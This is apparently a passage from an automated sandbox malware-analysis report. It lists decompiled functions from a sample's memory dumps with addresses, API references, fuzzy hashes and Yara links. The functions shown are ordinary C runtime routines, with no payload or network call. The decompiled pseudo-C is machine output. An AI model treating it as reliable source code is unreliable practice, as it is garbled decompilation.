Part of subcall function 0400C211: __getptd_noexit.LIBCMT ref: 0400C211

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 03e974bd7ed8be9f6d26a2e88c92abbee8222e32102787b1cf6dd7feb8256318
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 6F51D170A04204EBFB289FA988449AEBBB5EF81364F14C319E825B71D0E771FA51DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2, Relevance: 10.7, APIs: 7, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0400C98D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0400C918
__fileno.LIBCMT ref: 0400C926
__fileno.LIBCMT ref: 0400C932
__fileno.LIBCMT ref: 0400C93E
__fileno.LIBCMT ref: 0400C94E

Part of subcall function 0400C211: __getptd_noexit.LIBCMT ref: 0400C211

Strings

'B, xrefs: 0400C95F

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __fileno$__getptd_noexit__lock_file
String ID: 'B
API String ID: 3755561058-2787509829
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: 8867c4c555d87ca9636f034ee80242048337ecf158db52e7833dda77eca3e715
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: F101AF3321C61056F3257B785C468BD73904F82B38F66C704D420BB1D0DB24F542A792

Uniqueness

Uniqueness Score: -1.00%

Function 04014988, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04014994

Part of subcall function 04010985: __getptd_noexit.LIBCMT ref: 04010988
Part of subcall function 04010985: __amsg_exit.LIBCMT ref: 04010995

__getptd.LIBCMT ref: 040149AB
__amsg_exit.LIBCMT ref: 040149B9
__lock.LIBCMT ref: 040149C9

Strings

@.B, xrefs: 040149D6

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 2b38775adadacceb840d280ac023633bb71236932b7d2307be523827bdd5b1a1
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: DEF09A32A007109BFB60FF74E901B8D73E0AF0172CF41865AD988B72F0CB74B9418A92

Uniqueness

Uniqueness Score: -1.00%

Function 00414738, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0401494A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 0401495C
___removelocaleref.LIBCMT ref: 04014967
___freetlocinfo.LIBCMT ref: 0401497B

Part of subcall function 040146D9: ___free_lconv_mon.LIBCMT ref: 0401471F
Part of subcall function 040146D9: ___free_lconv_num.LIBCMT ref: 04014740
Part of subcall function 040146D9: ___free_lc_time.LIBCMT ref: 040147C5

Strings

@.B, xrefs: 04014972
@.B, xrefs: 04014959

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: @.B$@.B
API String ID: 4212647719-183327057
Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction ID: 90db702fca6320e606109b33b361b6d9cb9007ce0892068ec7e0718b50378fca
Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction Fuzzy Hash: E3E02672E1582705DF71661C64402AED2CD4F83328B1A0226E800FB478DB247C818095

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D, Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 0401421C, Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04014228

Part of subcall function 04010985: __getptd_noexit.LIBCMT ref: 04010988
Part of subcall function 04010985: __amsg_exit.LIBCMT ref: 04010995

__amsg_exit.LIBCMT ref: 04014248
__lock.LIBCMT ref: 04014258
InterlockedDecrement.KERNEL32(?), ref: 04014275
InterlockedIncrement.KERNEL32(00422D38), ref: 040142A0

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: f1a08bd74858b033f35b7ae6f9250b6f9a7e192e88d226bf59531e7c6c32109d
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: E201C431A01625ABE770EF64E90479EB7A0AF45728F854015E818B72F0C77479C1CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x4261628
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x4261628
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x4261628
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(04261628), ref: 00414050

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0401114A, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

l, xrefs: 04011171
, xrefs: 04011198
2, xrefs: 040111CB

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction ID: a33a042c06676881d3342f52c9a180bc6a24020921050105f555a7b25105226d
Opcode Fuzzy Hash: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction Fuzzy Hash: 2E41DA349456598AEF788E1488983F877F1AB0A315F1441CAC2E57E1B9C7752AC7CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0400FCA8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0400FCCA
__calloc_crt.LIBCMT ref: 0400FCE3

Strings

`$B, xrefs: 0400FD1C
P$B, xrefs: 0400FCFA

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: ad766a0f1dc4c9ae3c1e5efdd7abf99d4b107ba9e58f19e56e1a0d5cd27c26ab
Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: B711E7313146135BF7788E1C7D41FA53292EB85328F64823BE615EA2D0E7B0F4826648

Uniqueness

Uniqueness Score: -1.00%

Function 00413610, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
